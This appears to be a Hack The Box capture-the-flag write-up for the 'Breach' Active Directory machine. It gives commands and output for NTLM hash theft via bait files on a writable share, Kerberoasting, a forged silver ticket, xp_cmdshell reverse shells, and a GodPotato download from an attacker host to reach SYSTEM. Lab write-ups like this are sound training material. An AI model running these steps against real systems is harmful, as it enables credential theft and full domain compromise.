Summary
Breach is a Windows AD box centered on credential harvesting and Kerberos abuse. Initial access starts from a guest-readable, guest-writable SMB share. Dropping NTLM-coercion files (.scf, .url, .lnk, etc.) onto the writable share via ntlm_theft triggers a NetNTLMv2 authentication attempt from a domain user when their folder is browsed, captured with Responder and cracked offline to recover the first set of credentials. Those credentials are used to enumerate the domain with BloodHound and Kerberoast it, yielding a crackable TGS hash for a SQL service account. That account's password is reused to derive its NTLM hash and forge a Kerberos silver ticket for the MSSQL service, impersonating Administrator and gaining a sysadmin SQL session without ever having the real Administrator password. From there, xp_cmdshell is re-enabled for code execution, and the resulting service account's SeImpersonatePrivilege is abused with GodPotato to coerce a SYSTEM token and complete the chain to full domain compromise.
Attack chain at a glance:
NTLM coercion via writable SMB share → NetNTLMv2 capture/crack → BloodHound enumeration → Kerberoasting → TGS crack → silver ticket forge → MSSQL sysadmin session → xp_cmdshell RCE → SeImpersonatePrivilege abuse (GodPotato) → SYSTEM
Recon
nmap -A -Pn <MACHINE-IP> -oA nmap
Key findings: this is a Windows Server 2022 Domain Controller for breach.vl.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: breach.vl)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0
Service Info: Host: BREACHDC; OS: Windows
Domain: breach.vl / NetBIOS: BREACH / DC hostname: BREACHDC. SQL Server 2019 running as SQLEXPRESS instance on 1433. SMB signing is required, ruling out NTLM relay back to SMB itself — but not ruling out hash capture for offline cracking.
Step 1 - Guest SMB access and a writable share
Anonymous/guest SMB login works:
nxc smb <MACHINE-IP> -u '' -p ''
SMB <MACHINE-IP> 445 BREACHDC [*] Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB <MACHINE-IP> 445 BREACHDC [+] breach.vl\:
nxc smb <MACHINE-IP> -u 'guest' -p '' --shares
SMB <MACHINE-IP> 445 BREACHDC Share Permissions Remark
SMB <MACHINE-IP> 445 BREACHDC ADMIN$ Remote Admin
SMB <MACHINE-IP> 445 BREACHDC C$ Default share
SMB <MACHINE-IP> 445 BREACHDC IPC$ READ Remote IPC
SMB <MACHINE-IP> 445 BREACHDC NETLOGON Logon server share
SMB <MACHINE-IP> 445 BREACHDC share READ,WRITE
SMB <MACHINE-IP> 445 BREACHDC SYSVOL Logon server share
SMB <MACHINE-IP> 445 BREACHDC Users READ
The share is both readable and writable by guest - that's the way in. RID brute-forcing also pulls the full user list for later password-spraying / Kerberoast target context:
nxc smb <MACHINE-IP> -u 'guest' -p '' --users --rid-brute
...
SMB <MACHINE-IP> 445 BREACHDC 1105: BREACH\Claire.Pope (SidTypeUser)
SMB <MACHINE-IP> 445 BREACHDC 1106: BREACH\Julia.Wong (SidTypeUser)
SMB <MACHINE-IP> 445 BREACHDC 1107: BREACH\Hilary.Reed (SidTypeUser)
SMB <MACHINE-IP> 445 BREACHDC 1108: BREACH\Diana.Pope (SidTypeUser)
SMB <MACHINE-IP> 445 BREACHDC 1109: BREACH\Jasmine.Price (SidTypeUser)
SMB <MACHINE-IP> 445 BREACHDC 1110: BREACH\George.Williams (SidTypeUser)
SMB <MACHINE-IP> 445 BREACHDC 1111: BREACH\Lawrence.Kaur (SidTypeUser)
SMB <MACHINE-IP> 445 BREACHDC 1112: BREACH\Jasmine.Slater (SidTypeUser)
SMB <MACHINE-IP> 445 BREACHDC 1113: BREACH\Hugh.Watts (SidTypeUser)
SMB <MACHINE-IP> 445 BREACHDC 1114: BREACH\Christine.Bruce (SidTypeUser)
SMB <MACHINE-IP> 445 BREACHDC 1115: BREACH\svc_mssql (SidTypeUser)
Browsing the share, there's a transfer directory with per-user subfolders that guest can't read into directly:
smb: \transfer\> ls
. D 0 Mon Sep 8 10:13:44 2025
.. D 0 Tue Feb 3 13:38:41 2026
claire.pope D 0 Thu Feb 17 11:21:35 2022
diana.pope D 0 Thu Feb 17 11:21:19 2022
julia.wong D 0 Thu Apr 17 00:38:12 2025
These are presumably each user's personal drop folder — when a user opens File Explorer to that folder, Windows will render any files placed there. That behavior is exactly what NTLM-coercion files exploit.
Step 2 - NTLM hash theft via writable share
Since the share is writable, dropping files like .scf, .url, .lnk, and desktop.ini that embed a UNC path back to my attack box will make Windows Explorer authenticate to my SMB listener as soon as a user browses the folder — no execution required, just rendering the folder. ntlm_theft generates a full set of these payloads in one shot:
git clone https://github.com/Greenwolf/ntlm_theft
cd ntlm_theft/
python3 ntlm_theft.py -g all -s <ATTACKER-IP> -f evil
This drops a folder of bait files (evil.scf, evil.lnk, evil-(url).url, desktop.ini, etc.) under evil/.
Upload all of them to the writable share root:
smbclient //<MACHINE-IP>/share -U 'guest%'
smb: \> cd transfer\
smb: \transfer\> prompt off
smb: \transfer\> mput *
putting file evil.scf as \transfer\evil.scf (0.1 kB/s) (average 0.1 kB/s)
putting file desktop.ini as \transfer\desktop.ini (0.1 kB/s) (average 0.1 kB/s)
putting file evil-(url).url as \transfer\evil-(url).url (0.1 kB/s) (average 0.1 kB/s)
... (remaining bait files uploaded)
Start Responder to capture incoming NTLM auth attempts:
responder -I tun0
Shortly after, a domain user's NetNTLMv2 hash lands in the Responder log (the folder was opened/rendered):
[+] Listening for events...
Julia.Wong::BREACH:a7a5bdb78c2b39fa:00B8E51564D0668DBD622E68B34A1F75:0101000000000000...
Save the captured hash and crack it offline with John against rockyou.txt:
cat > julia.hash << 'EOF'
Julia.Wong::BREACH:a7a5bdb78c2b39fa:00B8E51564D0668DBD622E68B34A1F75:0101000000000000...
EOF
john --wordlist=/usr/share/wordlists/rockyou.txt julia.hash
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Computer1 (Julia.Wong)
1g 0:00:00:00 DONE
Credentials recovered: Julia.Wong : Computer1
Step 3 - User flag via authenticated SMB access
The HTB machine info notes the user flag sits in a non-standard path (C:\share\transfer), so it's worth checking access again now that we have valid creds:
nxc smb <MACHINE-IP> -u 'Julia.Wong' -p Computer1 --shares
SMB <MACHINE-IP> 445 BREACHDC [+] breach.vl\Julia.Wong:Computer1
SMB <MACHINE-IP> 445 BREACHDC share READ,WRITE
smbclient //10.129.21.7/share -U 'julia.wong%Computer1'
smb: \> cd transfer\julia.wong\
smb: \transfer\julia.wong\> ls
. D 0 Wed Apr 16 20:38:12 2025
.. D 0 Tue Jun 23 07:51:57 2026
user.txt A 32 Wed Apr 16 20:38:22 2025
smb: \transfer\julia.wong\> get user.txt
cat user.txt
HTB{REDACTED}
User flag retrieved as
Julia.Wong.
Step 4 — BloodHound collection and Kerberoasting
With valid domain creds, collect AD data with BloodHound's Python ingestor:
bloodhound-python -d breach.vl -u 'Julia.Wong' -p 'Computer1' -ns <MACHINE-IP> -c All --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: breach.vl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: breachdc.breach.vl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Found 15 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: BREACHDC.breach.vl
INFO: Done in 01M 18S
INFO: Compressing output into 20260623083023_bloodhound.zip
Load the resulting zip into BloodHound CE/Legacy and use the Cypher tab to find Kerberoastable accounts. Under Saved Queries → Active Directory → Kerberos Interaction, select "All Kerberoastable users", which runs:
MATCH (u:User)
WHERE u.hasspn=true
AND u.enabled = true
AND NOT u.objectid ENDS WITH '-502'
RUN
This surfaces svc_mssql as the only Kerberoastable account in scope for breach.vl. Clicking the node in the graph and opening its Object Information panel also gives the SID values needed later for the silver ticket:
Display Name: svc_mssql
SAM Account Name: svc_mssql
Distinguished Name: CN=SVC_MSSQL,CN=USERS,DC=BREACH,DC=VL
Domain SID: S-1-5-21-2330692793-3312915120-706255856
Object ID: S-1-5-21-2330692793-3312915120-706255856-1115
Service Principal Names: MSSQLSvc/breachdc.breach.vl:1433
Request the TGS for that SPN with Impacket:
impacket-GetUserSPNs 'breach.vl/Julia.Wong:Computer1' -dc-ip <MACHINE-IP> -request -outputfile svc_mssql.hash
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
-------------------------------- ---------- -------- --------------------------- --------------------------
MSSQLSvc/breachdc.breach.vl:1433 svc_mssql 2022-02-17 05:43:08.106169 2026-06-23 06:30:47.088029
Crack the resulting Kerberos TGS (etype 23, RC4) offline:
john --wordlist=/usr/share/wordlists/rockyou.txt svc_mssql.hash
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Trustno1 (?)
1g 0:00:00:00 DONE
Credentials recovered: svc_mssql : Trustno1
nxc smb <MACHINE-IP> -u 'svc_mssql' -p 'Trustno1'
SMB <MACHINE-IP> 445 BREACHDC [+] breach.vl\svc_mssql:Trustno1
Step 5 - Silver ticket forge → sysadmin MSSQL session → xp_cmdshell
Logging into MSSQL directly as svc_mssql only gives a low-privilege guest context — that account is not sysadmin on its own, so xp_cmdshell can't be enabled from that session:
nxc mssql <MACHINE-IP> -u svc_mssql -p Trustno1
MSSQL <MACHINE-IP> 1433 BREACHDC [+] breach.vl\svc_mssql:Trustno1
mssqlclient.py 'breach.vl/svc_mssql:Trustno1@<MACHINE-IP>' -windows-auth
SQL (BREACH\svc_mssql guest@master)> enum_logins
name type_desc sysadmin
------------- ------------- --------
sa SQL_LOGIN 1
BUILTIN\Users WINDOWS_GROUP 0
Since the SPN MSSQLSvc/breachdc.breach.vl:1433 is registered on svc_mssql, and the account's plaintext password (and therefore its NTLM hash) is known, a silver ticket can be forged. A silver ticket is a self-signed Kerberos service ticket (TGS) built using the NTLM hash of the service account that owns the SPN — unlike a golden ticket (which needs the krbtgt hash and grants domain-wide access), a silver ticket is scoped to one specific service, but lets the attacker set the ticket's subject to any user, including Administrator.
Derive the NTLM hash from the cracked password:
echo -n "Trustno1" | iconv -t utf-16le | openssl md4
MD4(stdin)= 69596c7aa1e8daee17f8e78870e25a5c
Forge a TGS for the MSSQL SPN, impersonating Administrator (RID 500), using the domain SID and svc_mssql object SID pulled from BloodHound in Step 4:
ticketer.py \
-domain-sid S-1-5-21-2330692793-3312915120-706255856 \
-nthash 69596c7aa1e8daee17f8e78870e25a5c \
-domain breach.vl \
-spn MSSQLSvc/breachdc.breach.vl:1433 \
-user-id 500 \
Administrator
export KRB5CCNAME=Administrator.ccache
Impacket v0.14.0.dev0+20260226.31512.9d3d86ea - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for breach.vl/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
klist
Ticket cache: FILE:Administrator.ccache
Default principal: Administrator@BREACH.VL
Valid starting Expires Service principal
06/23/2026 09:51:28 06/20/2036 09:51:28 MSSQLSvc/breachdc.breach.vl:1433@BREACH.VL
renew until 06/20/2036 09:51:28
Authenticate to MSSQL using the forged ticket - no password required:
mssqlclient.py -k -no-pass -windows-auth Administrator@breachdc.breach.vl
[*] Encryption required, switching to TLS
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (BREACH\Administrator dbo@master)> enum_logins
name type_desc sysadmin
---------------------------------- ------------- --------
sa SQL_LOGIN 1
BREACH\Administrator WINDOWS_LOGIN 1
NT SERVICE\SQLWriter WINDOWS_LOGIN 1
NT SERVICE\Winmgmt WINDOWS_LOGIN 1
NT Service\MSSQL$SQLEXPRESS WINDOWS_LOGIN 1
BUILTIN\Users WINDOWS_GROUP 0
NT AUTHORITY\SYSTEM WINDOWS_LOGIN 0
NT SERVICE\SQLTELEMETRY$SQLEXPRESS WINDOWS_LOGIN 0
This session is sysadmin (BREACH\Administrator), so xp_cmdshell can now be enabled:
SQL (BREACH\Administrator dbo@master)> xp_cmdshell whoami
ERROR(BREACHDC\SQLEXPRESS): SQL Server blocked access to procedure 'sys.xp_cmdshell' ... turned off
SQL (BREACH\Administrator dbo@master)> enable_xp_cmdshell
INFO(BREACHDC\SQLEXPRESS): Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(BREACHDC\SQLEXPRESS): Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (BREACH\Administrator dbo@master)> xp_cmdshell whoami
output
----------------
breach\svc_mssql
NULL
Note that xp_cmdshell itself still executes commands as the underlying service account (breach\svc_mssql), not as Administrator — sysadmin in the SQL engine just grants the permission to run it. A long base64-encoded PowerShell payload doesn't fit cleanly into a single xp_cmdshell call due to the SQL identifier length limit, so it has to be wrapped in double quotes:
SQL (BREACH\Administrator dbo@master)> xp_cmdshell 'powershell -e <BASE64_PAYLOAD>'
ERROR(BREACHDC\SQLEXPRESS): Line 1: Incorrect syntax near 'powershell'.
ERROR(BREACHDC\SQLEXPRESS): Line 1: The identifier that starts with '...' is too long. Maximum length is 128.
SQL (BREACH\Administrator dbo@master)> xp_cmdshell "powershell -e <BASE64_REVERSE_SHELL_PAYLOAD>"
PS C:\Windows\system32> whoami
breach\svc_mssql
Command execution achieved as breach\svc_mssql via an interactive reverse shell.
Step 6 — Privilege escalation via SeImpersonatePrivilege (GodPotato)
Checking privileges on the shell as svc_mssql:
PS C:\Users\svc_mssql> whoami /priv
Privilege Name Description State
============================= ========================================= ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeImpersonatePrivilege is enabled - standard for service accounts, and a reliable path to SYSTEM via a "Potato"-family local privilege escalation exploit. Used GodPotato here, which abuses the RPC/DCOM OXID resolver to coerce a SYSTEM token through the impersonation privilege.
Stage the binary and pull it onto the target:
wget https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe
python3 -m http.server 80
PS C:\temp> Invoke-WebRequest -Uri "http://<ATTACKER-IP>/GodPotato-NET4.exe" -OutFile "C:\temp\Godpotato.exe"
Confirm the technique works:
PS C:\temp> .\Godpotato.exe -cmd whoami
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] PID : 916 Token:0x748 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] CurrentUser: NT AUTHORITY\SYSTEM
nt authority\system
Use GodPotato to launch a second, SYSTEM-level reverse shell on a new port:
PS C:\temp> .\Godpotato.exe -cmd "powershell -e <BASE64_REVERSE_SHELL_PAYLOAD_2>"
PS C:\temp> whoami
nt authority\system
Step 7 - Root flag
PS C:\Users\Administrator\Desktop> dir
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/17/2025 12:37 AM 32 root.txt
PS C:\Users\Administrator\Desktop> type root.txt
HTB{REDACTED}
Root flag retrieved as
NT AUTHORITY\SYSTEM.
Key Vulnerabilities
| # | Vulnerability | Component | Impact |
|---|---|---|---|
| 1 | Guest-writable SMB share |
share (SMB) |
Allows dropping NTLM-coercion bait files reachable by domain users |
| 2 | NTLM authentication coercion | Windows Explorer / SMB client | Leaks NetNTLMv2 hash of any user who browses the bait folder |
| 3 | Weak user password (Computer1) |
Julia.Wong AD account |
NetNTLMv2 hash crackable via wordlist in seconds |
| 4 | Kerberoasting (SPN registered on a user account) |
svc_mssql service account |
TGS requestable by any authenticated domain user, crackable offline |
| 5 | Weak service account password (Trustno1) |
svc_mssql AD account |
TGS hash crackable via wordlist, yielding the account's NTLM hash |
| 6 | Forgeable Kerberos service ticket via known NTLM hash (silver ticket) | MSSQL SPN | Forge a TGS impersonating Administrator, gaining sysadmin on MSSQL without ever having the Administrator password |
| 7 |
xp_cmdshell enablement via sysadmin SQL session |
MSSQL Server 2019 | Arbitrary OS command execution as the SQL service account |
| 8 |
SeImpersonatePrivilege on service account + unpatched OXID resolver (GodPotato) |
Windows RPC/DCOM | Local privilege escalation to NT AUTHORITY\SYSTEM
|
Attack Chain
Guest SMB access (writable share)
│
▼
Drop NTLM-coercion files (ntlm_theft) → Responder captures NetNTLMv2 hash
│
▼
Crack hash (John + rockyou) → Julia.Wong:Computer1
│
▼
Authenticated SMB access → retrieve user.txt
│
▼
BloodHound collection → identify svc_mssql as Kerberoastable, note Domain/Object SIDs
│
▼
Kerberoast domain (GetUserSPNs) → svc_mssql TGS hash
│
▼
Crack TGS (John + rockyou) → svc_mssql:Trustno1 → derive NTLM hash
│
▼
Forge silver ticket (ticketer.py) → MSSQL TGS as Administrator
│
▼
Sysadmin MSSQL session → enable xp_cmdshell → RCE as svc_mssql
│
▼
SeImpersonatePrivilege abuse (GodPotato) → NT AUTHORITY\SYSTEM
│
▼
Read root.txt
Top comments (0)